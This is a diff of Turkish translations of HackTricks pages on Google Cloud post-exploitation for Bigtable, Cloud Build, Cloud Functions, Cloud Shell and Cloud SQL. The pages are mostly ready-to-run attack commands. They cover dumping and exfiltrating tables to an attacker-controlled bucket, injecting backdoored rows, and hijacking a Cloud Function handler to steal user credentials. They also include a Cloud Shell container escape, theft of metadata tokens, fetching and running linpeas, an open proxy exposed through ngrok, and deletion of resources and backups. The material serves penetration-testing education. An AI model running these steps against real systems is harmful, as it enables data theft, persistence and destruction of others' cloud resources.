-> Aşağıdaki komutların yerel olarak çalışması için `cbt` CLI'yi Cloud SDK üzerinden bir kez kurun:
+> Aşağıdaki komutların yerelde çalışması için `cbt` CLI'ını Cloud SDK üzerinden bir kere kurun:
+>
+>
+>
+> cbt CLI'yi yükleyin
>
> ```bash
> gcloud components install cbt
> ```
+>
+>
### Satırları Oku
**İzinler:** `bigtable.tables.readRows`
-`cbt` Cloud SDK ile birlikte gelir ve herhangi bir ara katmana ihtiyaç olmadan admin/data API'leriyle iletişim kurar. Bunu ele geçirilmiş project/instance'a yönlendirip tablodan satırları doğrudan dökebilirsiniz. Sadece göz atmanız gerekiyorsa taramayı sınırlandırın.
+cbt, Cloud SDK ile birlikte gelir ve herhangi bir middleware gerektirmeden admin/data API'leri ile iletişim kurar. Bunu ele geçirilmiş project/instance üzerine yönlendirip tablodan doğrudan satırları dökebilirsiniz. Sadece bir göz atma gerekiyorsa taramayı sınırlandırın.
+
+
+
+Bigtable kayıtlarını oku
```bash
# Install cbt
gcloud components update
gcloud components install cbt
-# Read entries with creds of gcloud
+# Read entries with creds of gcloud
cbt -project= -instance= read
```
+
+
### Satır yazma
-**İzinler:** `bigtable.tables.mutateRows`, (değişikliği doğrulamak için `bigtable.tables.readRows` gerekir).
+**İzinler:** `bigtable.tables.mutateRows`, (değişikliği doğrulamak için `bigtable.tables.readRows` iznine ihtiyacınız olacak).
-Aynı aracı kullanarak rastgele hücrelere upsert yapın. Bu, konfigürasyonları backdoor etmek, web shells bırakmak veya poisoned dataset rows eklemek için en hızlı yoldur.
+Aynı aracı kullanarak istediğiniz hücrelere upsert yapın. Bu, configs içine backdoor koymanın, web shells bırakmanın veya poisoned dataset rows eklemenin en hızlı yoludur.
+
+
+
+Kötü amaçlı satır ekle
```bash
# Inject a new row
cbt -project= -instance= set
:=
@@ -44,16 +60,22 @@ cbt -project= -instance= set user#1337 prof
# Verify the injected row
cbt -project= -instance= read rows=user#1337
```
-`cbt set` ham baytları `@/path` sözdizimiyle kabul eder, böylece derlenmiş payloads veya serileştirilmiş protobufs'ları downstream servislerin beklediği şekilde gönderebilirsiniz.
+
-### Dump rows to your bucket
+`cbt set` `@/path` sözdizimi ile ham baytları kabul eder, böylece derlenmiş payload'ları veya serileştirilmiş protobuf'ları downstream servislerin tam olarak beklediği şekilde gönderebilirsiniz.
-**İzinler:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`
+### Satırları kendi bucket'ınıza aktar
-Bir Dataflow job'u başlatarak ve satırları sizin kontrolünüzdeki bir GCS bucket'ına akıtarak, bir tablonun tüm içeriğini saldırganın kontrolündeki bir bucket'a exfiltrate etmek mümkündür.
+**Permissions:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`
+
+Satırları sizin kontrolünüzdeki bir GCS bucket'ına akıtan bir Dataflow job'u başlatarak tüm tablonun içeriğini exfiltrate etmek mümkündür.
> [!NOTE]
-> Bu export işlemini gerçekleştirmek için yeterli izinlere sahip bir SA üzerinde `iam.serviceAccounts.actAs` iznine ihtiyacınız olacağını unutmayın (varsayılan olarak, aksi belirtilmemişse, varsayılan compute SA kullanılacaktır).
+> Bu dışa aktarma işlemini gerçekleştirmek için yeterli izinlere sahip bir SA üzerinde `iam.serviceAccounts.actAs` iznine ihtiyacınız olacağını unutmayın (varsayılan olarak, aksi belirtilmedikçe varsayılan compute SA kullanılacaktır).
+
+
+
+Bigtable'ı GCS bucket'ına aktar
```bash
gcloud dataflow jobs run \
--gcs-location=gs://dataflow-templates-us-//Cloud_Bigtable_to_GCS_Json \
@@ -70,19 +92,25 @@ gcloud dataflow jobs run dump-bigtable3 \
--parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,filenamePrefix=prefx,outputDirectory=gs://deleteme20u9843rhfioue/raw-json/ \
--staging-location=gs://deleteme20u9843rhfioue/staging/
```
+
+
> [!NOTE]
-> Parquet/SequenceFile çıktıları JSON yerine istiyorsanız şablonu `Cloud_Bigtable_to_GCS_Parquet` veya `Cloud_Bigtable_to_GCS_SequenceFile` olarak değiştirin. İzinler aynı; yalnızca şablon yolu değişir.
+> Şablonu `Cloud_Bigtable_to_GCS_Parquet` veya `Cloud_Bigtable_to_GCS_SequenceFile` olarak değiştirin eğer JSON yerine Parquet/SequenceFile çıktılarını istiyorsanız. İzinler aynı; sadece şablon yolu değişir.
### Satırları içe aktarma
-**İzinler:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`
+**Permissions:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`
-Saldırganın kontrolündeki bir bucket'tan, satırları sizin kontrolünüzdeki bir GCS bucket'ına akıtan bir Dataflow job'u başlatarak bir tablonun tamamının içeriğini içe aktarmak mümkündür. Bunun için saldırganın önce beklenen şemayla içe aktarılacak verileri içeren bir parquet dosyası oluşturması gerekir. Saldırgan, önceki teknikte `Cloud_Bigtable_to_GCS_Parquet` ayarını kullanarak verileri parquet formatında dışa aktarabilir ve indirilen parquet dosyasına yeni girdiler ekleyebilir
+Saldırgan kontrolündeki bir bucket'tan, satırları saldırganın kontrolündeki bir GCS bucket'ına akıtan bir Dataflow job başlatarak tüm bir tablonun içeriğini içe aktarmak mümkündür. Bunun için saldırganın önce beklenen şema ile içe aktarılacak verileri içeren bir parquet dosyası oluşturması gerekir. Saldırgan, önceki teknikte `Cloud_Bigtable_to_GCS_Parquet` ayarını kullanarak verileri parquet formatında dışa aktarabilir ve indirilen parquet dosyasına yeni kayıtlar ekleyebilir.
> [!NOTE]
-> Dışa aktarmayı gerçekleştirebilmek için yeterli izinlere sahip bir SA üzerinde `iam.serviceAccounts.actAs` iznine ihtiyaç duyacağınızı unutmayın (varsayılan olarak, aksi belirtilmedikçe, varsayılan compute SA kullanılacaktır).
+> Dışa aktarımı gerçekleştirmek için yeterli izinlere sahip bir SA üzerinde `iam.serviceAccounts.actAs` iznine ihtiyacınız olacağını unutmayın (varsayılan olarak, aksi belirtilmezse, varsayılan compute SA kullanılacaktır).
+
+
+
+GCS bucket'tan Bigtable'a içe aktarma
```bash
gcloud dataflow jobs run import-bt-$(date +%s) \
--region= \
@@ -99,11 +127,17 @@ gcloud dataflow jobs run import-bt-$(date +%s) \
--parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,inputFilePattern=gs://deleteme20u9843rhfioue/import/parquet_prefx-00000-of-00001.parquet \
--staging-location=gs://deleteme20u9843rhfioue/staging/
```
+
+
### Yedekleri Geri Yükleme
**İzinler:** `bigtable.backups.restore`, `bigtable.tables.create`.
-Bir saldırgan bu izinlere sahip olduğunda, eski hassas verileri kurtarabilmek için kontrolü altındaki yeni bir tabloya bir yedeği geri yükleyebilir.
+Bu izinlere sahip bir saldırgan, eski hassas verileri kurtarabilmek için kontrolü altındaki yeni bir tabloya bir yedeği geri yükleyebilir.
+
+
+
+Bigtable yedeğini geri yükle
```bash
gcloud bigtable backups list --instance= \
--cluster=
@@ -115,16 +149,22 @@ gcloud bigtable instances tables restore \
--destination-instance= \
--project=
```
-### Tabloları Geri Yükleme
+
+
+### Silinmiş tabloları geri yükleme
**İzinler:** `bigtable.tables.undelete`
-Bigtable, genellikle varsayılan olarak 7 gün olan bir bekleme süresiyle soft-deletion (yumuşak silme) desteği sağlar. Bu süre içinde, `bigtable.tables.undelete` iznine sahip bir saldırgan, yakın zamanda silinmiş bir tabloyu geri yükleyebilir ve tüm verilerini kurtararak yok edildiği düşünülen hassas bilgilere erişebilir.
+Bigtable, genellikle varsayılan olarak 7 gün olan bir bekleme süresiyle yumuşak silmeyi (soft-deletion) destekler. Bu süre içinde `bigtable.tables.undelete` iznine sahip bir saldırgan, yakın zamanda silinmiş bir tabloyu geri yükleyebilir ve tüm verilerini kurtararak yok edildiği düşünülen hassas bilgilere erişebilir.
-Bu özellikle şunlar için kullanışlıdır:
-- Olay müdahalesi sırasında savunma ekipleri tarafından silinen tablolardan veri kurtarmak
-- Kasıtlı olarak temizlenmiş geçmiş verilere erişmek
-- Kalıcılığı sürdürmek için kazara veya kötü amaçlı silmeleri geri almak
+Bu özellikle şunlar için faydalıdır:
+- Olay müdahalesi sırasında savunma ekipleri tarafından silinen tablolardan veri kurtarma
+- Kasıtlı olarak temizlenen geçmiş verilere erişim
+- Kalıcılığı korumak için kazara veya kötü niyetli silmeleri geri alma
+
+
+
+Bigtable tablosunu geri yükle
```bash
# List recently deleted tables (requires bigtable.tables.list)
gcloud bigtable instances tables list --instance= \
@@ -134,18 +174,24 @@ gcloud bigtable instances tables list --instance= \
gcloud bigtable instances tables undelete \
--instance=
```
+
+
> [!NOTE]
-> undelete işlemi yalnızca yapılandırılmış saklama süresi içinde çalışır (varsayılan 7 gün). Bu süre dolduktan sonra tablo ve verileri kalıcı olarak silinir ve bu yöntemle kurtarılamaz.
+> Geri alma (undelete) işlemi yalnızca yapılandırılmış saklama süresi içinde (varsayılan 7 gün) çalışır. Bu pencere sona erdikten sonra, tablo ve verileri kalıcı olarak silinir ve bu yöntemle kurtarılamaz.
-### Yetkilendirilmiş Görünümler Oluşturma
+### Yetkilendirilmiş Görünümler Oluştur
**İzinler:** `bigtable.authorizedViews.create`, `bigtable.tables.readRows`, `bigtable.tables.mutateRows`
-Yetkilendirilmiş görünümler, tablonun seçilmiş bir alt kümesini sunmanızı sağlar. En az ayrıcalık ilkesini uygulamak yerine, ilgilendiğiniz **tam olarak hassas sütun/satır kümelerini** yayınlamak ve kendi principal'inizi izin verilenler listesine almak için bunları kullanın.
+Yetkilendirilmiş görünümler, tablonun seçilmiş bir alt kümesini sunmanıza izin verir. En az ayrıcalık ilkesine uymak yerine, ilgilendiğiniz **tam olarak hassas sütun/satır kümelerini** yayınlamak ve kendi principal'inizi beyaz listeye almak için bunları kullanın.
> [!WARNING]
-> Sorun şu ki, bir yetkilendirilmiş görünüm oluşturmak için temel tablodaki satırları okuyup değiştirebilme yeteneğine de sahip olmanız gerekir; dolayısıyla ekstra bir izin elde etmiyorsunuz ve bu teknik büyük ölçüde kullanışsızdır.
+> Şöyle ki: yetkilendirilmiş bir görünüm oluşturmak için ayrıca temel tablodaki satırları okuma ve değiştirme yeteneğine sahip olmanız gerekir; dolayısıyla ekstra bir izin elde etmiyorsunuz ve bu nedenle bu teknik çoğunlukla işe yaramaz.
+
+
+
+Yetkilendirilmiş görünüm oluştur
```bash
cat <<'EOF' > /tmp/credit-cards.json
{
@@ -168,13 +214,19 @@ gcloud bigtable authorized-views add-iam-policy-binding card-dump \
--instance= --table= \
--member='user:' --role='roles/bigtable.reader'
```
-Erişim görünüm bazında sınırlandırıldığı için, savunucular genellikle sizin yeni bir yüksek hassasiyetli uç nokta oluşturduğunuzu fark etmezler.
+
-### Yetkilendirilmiş Görünümleri Okuma
+Çünkü erişim görünüme göre sınırlandırıldığından, savunucular genellikle yeni, yüksek hassasiyetli bir uç nokta oluşturduğunuz gerçeğini gözden kaçırır.
-**Permissions:** `bigtable.authorizedViews.readRows`
+### Yetkili Görünümleri Okuma
-Yetkilendirilmiş bir Görünüme erişiminiz varsa, okuma isteklerinizde görünüm adını belirterek Bigtable istemci kütüphanelerini kullanarak verilerini okuyabilirsiniz. Yetkilendirilmiş görünümün tablodan erişebileceğiniz verileri muhtemelen sınırlayacağını unutmayın. Aşağıda Python kullanarak bir örnek bulunmaktadır:
+**İzinler:** `bigtable.authorizedViews.readRows`
+
+Bir Yetkili Görünüme erişiminiz varsa, okuma isteklerinizde yetkili görünüm adını belirterek Bigtable client kütüphanelerini kullanarak verileri okuyabilirsiniz. Yetkili görünümün tablodan erişebileceklerinizi muhtemelen sınırlayacağını unutmayın. Aşağıda Python kullanarak bir örnek bulunmaktadır:
+
+
+
+Yetkili görünümden okuma (Python)
```python
from google.cloud import bigtable
from google.cloud.bigtable_v2 import BigtableClient as DataClient
@@ -209,19 +261,25 @@ qualifier = chunk.qualifier.value.decode('utf-8') if hasattr(chunk.qualifier, 'v
value = chunk.value.decode('utf-8') if isinstance(chunk.value, bytes) else str(chunk.value)
print(f" {family}:{qualifier} = {value}")
```
-### Denial of Service ile Silme İşlemleri
+
+
+### Silme İşlemleri Yoluyla Hizmet Reddi
**İzinler:** `bigtable.appProfiles.delete`, `bigtable.authorizedViews.delete`, `bigtable.authorizedViews.deleteTagBinding`, `bigtable.backups.delete`, `bigtable.clusters.delete`, `bigtable.instances.delete`, `bigtable.tables.delete`
-Bigtable üzerindeki herhangi bir silme izni, Denial of Service saldırıları için kullanılabilir. Bu izinlere sahip bir saldırgan, kritik Bigtable kaynaklarını silerek operasyonları aksatabilir:
+Bigtable'e ait silme izinlerinin herhangi biri, hizmet reddi (DoS) saldırıları için kullanılabilir. Bu izinlere sahip bir saldırgan, kritik Bigtable kaynaklarını silerek operasyonları aksatabilir:
-- **`bigtable.appProfiles.delete`**: Uygulama profillerini siler, istemci bağlantılarını ve yönlendirme yapılandırmalarını bozar
-- **`bigtable.authorizedViews.delete`**: Yetkilendirilmiş görünümleri kaldırır, uygulamalar için meşru erişim yollarını keser
-- **`bigtable.authorizedViews.deleteTagBinding`**: Yetkilendirilmiş görünümlerden etiket bağlarını kaldırır
-- **`bigtable.backups.delete`**: Yedek anlık görüntüleri yok eder, felaket kurtarma seçeneklerini ortadan kaldırır
-- **`bigtable.clusters.delete`**: Tüm kümeleri siler, anında veri kullanılamazlığına yol açar
-- **`bigtable.instances.delete`**: Tüm Bigtable örneklerini kaldırır, tüm tabloları ve yapılandırmaları siler
-- **`bigtable.tables.delete`**: Bireysel tabloları siler, veri kaybına ve uygulama hatalarına yol açar
+- **`bigtable.appProfiles.delete`**: Uygulama profillerini siler; istemci bağlantılarını ve yönlendirme yapılandırmalarını bozar
+- **`bigtable.authorizedViews.delete`**: Yetkili görünümleri kaldırır; uygulamalar için meşru erişim yollarını keser
+- **`bigtable.authorizedViews.deleteTagBinding`**: Yetkili görünümlerden etiket bağlarını kaldırır
+- **`bigtable.backups.delete`**: Yedek anlık görüntüleri yok eder; felaket kurtarma seçeneklerini ortadan kaldırır
+- **`bigtable.clusters.delete`**: Tüm kümeleri siler; verilerin anında kullanılamaz hale gelmesine neden olur
+- **`bigtable.instances.delete`**: Tam Bigtable örneklerini kaldırır; tüm tabloları ve yapılandırmaları siler
+- **`bigtable.tables.delete`**: Bireysel tabloları siler; veri kaybına ve uygulama hatalarına yol açar
+
+
+
+Bigtable kaynaklarını sil
```bash
# Delete a table
gcloud bigtable instances tables delete \
@@ -246,7 +304,9 @@ gcloud bigtable clusters delete \
# Delete an entire instance
gcloud bigtable instances delete
```
+
+
> [!WARNING]
-> Silme işlemleri genellikle anlık ve geri döndürülemezdir. Bu komutları test etmeden önce yedeklerin mevcut olduğundan emin olun; çünkü kalıcı veri kaybına ve ciddi hizmet aksamasına yol açabilirler.
+> Silme işlemleri genellikle anlık ve geri döndürülemezdir. Bu komutları test etmeden önce yedeklerin var olduğundan emin olun; aksi takdirde kalıcı veri kaybına ve ciddi hizmet kesintilerine neden olabilirler.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-build-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-build-post-exploitation.md
index 0b24588a1..2a1d96c87 100644
--- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-build-post-exploitation.md
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-build-post-exploitation.md
@@ -4,7 +4,7 @@
## Cloud Build
-Cloud Build hakkında daha fazla bilgi için kontrol edin:
+Cloud Build hakkında daha fazla bilgi için bakınız:
{{#ref}}
../gcp-services/gcp-cloud-build-enum.md
@@ -12,7 +12,11 @@ Cloud Build hakkında daha fazla bilgi için kontrol edin:
### `cloudbuild.builds.approve`
-Bu izinle, **onay gerektiren bir kod inşasını** yürütmeyi onaylayabilirsiniz.
+Bu izin ile onay gerektiren bir **codebuild** çalıştırılmasını onaylayabilirsiniz.
+
+
+
+Cloud Build yürütmesini onayla
```bash
# Check the REST API in https://cloud.google.com/build/docs/api/reference/rest/v1/projects.locations.builds/approve
curl -X POST \
@@ -24,4 +28,6 @@ object (ApprovalResult)
}}' \
"https://cloudbuild.googleapis.com/v1/projects//locations//builds/:approve"
```
+
+
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-functions-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-functions-post-exploitation.md
index f34b5c609..3c3d1f0b8 100644
--- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-functions-post-exploitation.md
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-functions-post-exploitation.md
@@ -4,7 +4,7 @@
## Cloud Functions
-Cloud Functions hakkında bazı bilgilere ulaşmak için:
+Cloud Functions hakkında bazı bilgileri şuradan bulabilirsiniz:
{{#ref}}
../gcp-services/gcp-cloud-functions-enum.md
@@ -12,20 +12,30 @@ Cloud Functions hakkında bazı bilgilere ulaşmak için:
### `cloudfunctions.functions.sourceCodeGet`
-Bu izinle, Cloud Function'ın **kaynak kodunu indirmek için imzalı bir URL alabilirsiniz**:
+Bu izin ile Cloud Function'ın kaynak kodunu indirebilmek için **imzalı bir URL** alabilirsiniz:
+
+
+
+Kaynak kodu indirmek için imzalı URL alma
```bash
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions/{function-name}:generateDownloadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'
```
+
+
### Cloud Function İsteklerini Çal
-Eğer Cloud Function, kullanıcıların gönderdiği hassas bilgileri yönetiyorsa (örneğin şifreler veya tokenlar), yeterli yetkilere sahip olduğunuzda **fonksiyonun kaynak kodunu değiştirebilir ve** bu bilgileri dışarı sızdırabilirsiniz.
+Eğer Cloud Function kullanıcıların gönderdiği hassas bilgileri (ör. parolalar veya tokenlar) yönetiyorsa, yeterli ayrıcalıklara sahipseniz **modify the source code of the function and exfiltrate** bu bilgileri ele geçirebilirsiniz.
-Ayrıca, python'da çalışan Cloud Functions, web sunucusunu açmak için **flask** kullanır; eğer bir şekilde flaks sürecinde bir kod enjeksiyon açığı bulursanız (örneğin bir SSTI açığı), **HTTP isteklerini alacak olan fonksiyon işleyicisini** **dışarı sızdıran kötü niyetli bir fonksiyon** ile **geçersiz kılmak** mümkündür.
+Ayrıca, python üzerinde çalışan Cloud Functions web sunucusunu açığa çıkarmak için **flask** kullanır; eğer bir şekilde flaks sürecinde bir kod enjeksiyon zafiyeti bulursanız (ör. bir SSTI zafiyeti), HTTP isteklerini alacak olan **override the function handler**'ı, meşru handler'a iletmeden önce isteği **exfiltrate the request** eden bir **malicious function** ile değiştirmek mümkün olabilir.
Örneğin bu kod saldırıyı uygular:
+
+
+
+Steal Cloud Function requests (Python injection)
```python
import functions_framework
@@ -122,4 +132,8 @@ return "Injection completed!"
except Exception as e:
return str(e)
```
+
+
+
+
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md
index 7e06f25f2..5615d90c6 100644
--- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md
@@ -1,33 +1,49 @@
-# GCP - Cloud Shell Sonrası Sömürü
+# GCP - Cloud Shell Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Cloud Shell
-Cloud Shell hakkında daha fazla bilgi için kontrol edin:
+Cloud Shell hakkında daha fazla bilgi için bakınız:
{{#ref}}
../gcp-services/gcp-cloud-shell-enum.md
{{#endref}}
-### Konteyner Kaçışı
+### Container Escape
-Google Cloud Shell'in bir konteyner içinde çalıştığını unutmayın, **ana makineye kolayca kaçabilirsiniz**:
+Google Cloud Shell'in bir container içinde çalıştığını unutmayın; şu komutları çalıştırarak **ana makineye kolayca kaçabilirsiniz**:
+
+
+
+Container escape commands
```bash
sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock start escaper
sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh
```
-Bu, Google tarafından bir zafiyet olarak kabul edilmez, ancak o ortamda neler olup bittiğine dair daha geniş bir bakış açısı sunar.
+
-Ayrıca, ana bilgisayardan bir hizmet hesabı belirteci bulabileceğinizi unutmayın:
+Bu, google tarafından bir vulnerability olarak değerlendirilmez, ancak o ortamda olup bitenler hakkında daha geniş bir görüş sağlar.
+
+Ayrıca, host'tan bir service account token bulabileceğinizi unutmayın:
+
+
+
+Service account'ı metadata'den alın
```bash
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
default/
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/
```
+
+
Aşağıdaki kapsamlarla:
+
+
+
+Hizmet hesabı kapsamlarını al
```bash
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"
@@ -35,48 +51,92 @@ https://www.googleapis.com/auth/devstorage.read_only
https://www.googleapis.com/auth/logging.write
https://www.googleapis.com/auth/monitoring.write
```
-LinPEAS ile meta verileri listeleyin:
+
+
+LinPEAS ile metadata enumerate et:
+
+
+
+LinPEAS ile metadata enumerate et
```bash
cd /tmp
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
sh linpeas.sh -o cloud
```
-[https://github.com/carlospolop/bf_my_gcp_permissions](https://github.com/carlospolop/bf_my_gcp_permissions) kullanıldıktan sonra Service Account tokeni ile **hiçbir izin keşfedilmedi**...
+
-### Proxy Olarak Kullanma
+Service Account tokeni ile [https://github.com/carlospolop/bf_my_gcp_permissions](https://github.com/carlospolop/bf_my_gcp_permissions) kullandıktan sonra **hiçbir izin keşfedilmedi**...
-Google Cloud Shell örneğinizi proxy olarak kullanmak istiyorsanız, aşağıdaki komutları çalıştırmanız (veya .bashrc dosyasına eklemeniz) gerekir:
+### Proxy olarak kullan
+
+google cloud shell örneğinizi proxy olarak kullanmak istiyorsanız aşağıdaki komutları çalıştırmanız gerekir (veya .bashrc dosyasına ekleyin):
+
+
+
+Install Squid proxy
```bash
sudo apt install -y squid
```
-**squid.conf** dosyasını aşağıdaki ayarlarla oluşturun:
+
+
+Bilginiz olsun: Squid bir http proxy sunucusudur. Aşağıdaki ayarlarla bir **squid.conf** dosyası oluşturun:
+
+
+
+squid.conf dosyası oluşturun
```bash
http_port 3128
cache_dir /var/cache/squid 100 16 256
acl all src 0.0.0.0/0
http_access allow all
```
-**squid.conf** dosyasını **/etc/squid** dizinine kopyalayın.
+
+
+**squid.conf** dosyasını **/etc/squid** dizinine kopyalayın
+
+
+
+Konfigürasyonu /etc/squid dizinine kopyalayın
```bash
sudo cp squid.conf /etc/squid
```
-Sonunda squid hizmetini çalıştırın:
+
+
+Son olarak squid servisini başlatın:
+
+
+
+Squid servisini başlat
```bash
sudo service squid start
```
-Ngrok'u kullanarak proxy'nin dışarıdan erişilebilir olmasını sağlayın:
+
+
+Proxy'nin dışarıdan erişilebilir olmasını sağlamak için ngrok kullanın:
+
+
+
+ngrok ile proxy'yi dışarıdan erişilebilir yapın
```bash
./ngrok tcp 3128
```
-tcp:// URL'sini kopyaladıktan sonra. Bir tarayıcıdan proxy'yi çalıştırmak istiyorsanız, tcp:// kısmını ve portu kaldırmanız ve portu tarayıcı proxy ayarlarınızın port alanına girmeniz önerilir (squid bir http proxy sunucusudur).
+
-Başlangıçta daha iyi kullanım için .bashrc dosyasında aşağıdaki satırlar olmalıdır:
+Çalıştırdıktan sonra tcp:// URL'sini kopyalayın. Proxy'yi bir tarayıcıdan çalıştırmak istiyorsanız tcp:// bölümünü ve portu kaldırıp portu tarayıcınızın proxy ayarları alanındaki port kısmına girmeniz önerilir (squid bir http proxy sunucusudur).
+
+Başlangıçta daha iyi kullanım için .bashrc dosyasına aşağıdaki satırların eklenmesi gerekir:
+
+
+
+Otomatik başlangıç için .bashrc'e ekleyin
```bash
sudo apt install -y squid
sudo cp squid.conf /etc/squid/
sudo service squid start
cd ngrok;./ngrok tcp 3128
```
-Talimatlar [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key) adresinden kopyalanmıştır. Cloud Shell'de her türlü yazılımı (veritabanları ve hatta Windows) çalıştırmak için diğer çılgın fikirler için o sayfayı kontrol edin.
+
+
+Talimatlar [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key) adresinden kopyalandı. Cloud Shell'de her türlü yazılımı (veritabanları ve hatta windows) çalıştırmak için daha fazla çılgın fikir görmek üzere o sayfayı inceleyin.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md
index 43d526abc..1092f862c 100644
--- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md
@@ -4,7 +4,7 @@
## Cloud SQL
-Cloud SQL hakkında daha fazla bilgi için kontrol edin:
+Cloud SQL hakkında daha fazla bilgi için bakın:
{{#ref}}
../gcp-services/gcp-cloud-sql-enum.md
@@ -12,7 +12,11 @@ Cloud SQL hakkında daha fazla bilgi için kontrol edin:
### `cloudsql.instances.update`, ( `cloudsql.instances.get`)
-Veritabanlarına bağlanmak için **sadece veritabanı portuna erişim** ve **kullanıcı adı** ile **şifreyi** bilmeniz yeterlidir, herhangi bir IAM gereksinimi yoktur. Bu nedenle, veritabanının bir genel IP adresine sahip olduğunu varsayarsak, erişim sağlamak için kolay bir yol, izin verilen ağları güncelleyip **kendi IP adresinizi erişime açmaktır**.
+Veritabanlarına bağlanmak için **sadece veritabanı portuna erişim** ve **kullanıcı adı** ile **şifreyi** bilmeniz yeterlidir; herhangi bir IAM gereksinimi yoktur. Bu nedenle, veritabanının bir public IP adresi olduğunu varsayarsak, erişim sağlamak için kolay bir yol izin verilen ağları güncellemek ve **kendi IP adresinizin erişimine izin vermektir**.
+
+
+
+Kendi IP'nizi izin verip veritabanına bağlanın
```bash
# Use --assign-ip to make the database get a public IPv4
gcloud sql instances patch $INSTANCE_NAME \
@@ -25,61 +29,111 @@ mysql -h # If mysql
# With cloudsql.instances.get you can use gcloud directly
gcloud sql connect mysql --user=root --quiet
```
-Ayrıca, veritabanının **yedeklerini bozmak** için **`--no-backup`** kullanmak da mümkündür.
+
-Bunlar gereksinimler olduğundan, **`cloudsql.instances.connect`** ve **`cloudsql.instances.login`** izinlerinin ne olduğunu tam olarak bilmiyorum. Biliyorsanız bir PR gönderin!
+Ayrıca **`--no-backup`** kullanarak veritabanının **yedeklerini bozmak** da mümkündür.
+
+Bunlar gereksinimler olduğundan, **`cloudsql.instances.connect`** ve **`cloudsql.instances.login`** izinlerinin tam olarak ne işe yaradığından emin değilim. Eğer biliyorsan bir PR gönder!
### `cloudsql.users.list`
-Veritabanının **tüm kullanıcılarının listesini** alın:
+Veritabanındaki **tüm kullanıcıların listesini** al:
+
+
+
+Veritabanı kullanıcılarını listele
```bash
gcloud sql users list --instance
```
+
+
### `cloudsql.users.create`
-Bu izin, veritabanında **yeni bir kullanıcı oluşturmayı** sağlar:
+Bu izin veritabanı içinde **yeni bir kullanıcı oluşturmayı** sağlar:
+
+
+
+Veritabanı kullanıcısı oluştur
```bash
gcloud sql users create --instance --password
```
+
+
### `cloudsql.users.update`
-Bu izin, **veritabanı içindeki kullanıcıyı güncellemeye** olanak tanır. Örneğin, şifresini değiştirebilirsiniz:
+Bu izin, veritabanı içinde kullanıcıyı **güncellemenize** olanak tanır. Örneğin, parolasını değiştirebilirsiniz:
+
+
+
+Kullanıcı parolasını güncelle
```bash
gcloud sql users set-password --instance --password
```
+
+
### `cloudsql.instances.restoreBackup`, `cloudsql.backupRuns.get`
-Yedekler **eski hassas bilgiler** içerebilir, bu yüzden bunları kontrol etmek ilginçtir.\
-Bir veritabanında **yedek geri yükle**:
+Backups **eski hassas bilgiler** içerebilir, bu yüzden bunları kontrol etmek ilginçtir.\
+**Restore a backup** veritabanı içinde:
+
+
+
+Restore database backup
```bash
gcloud sql backups restore --restore-instance
```
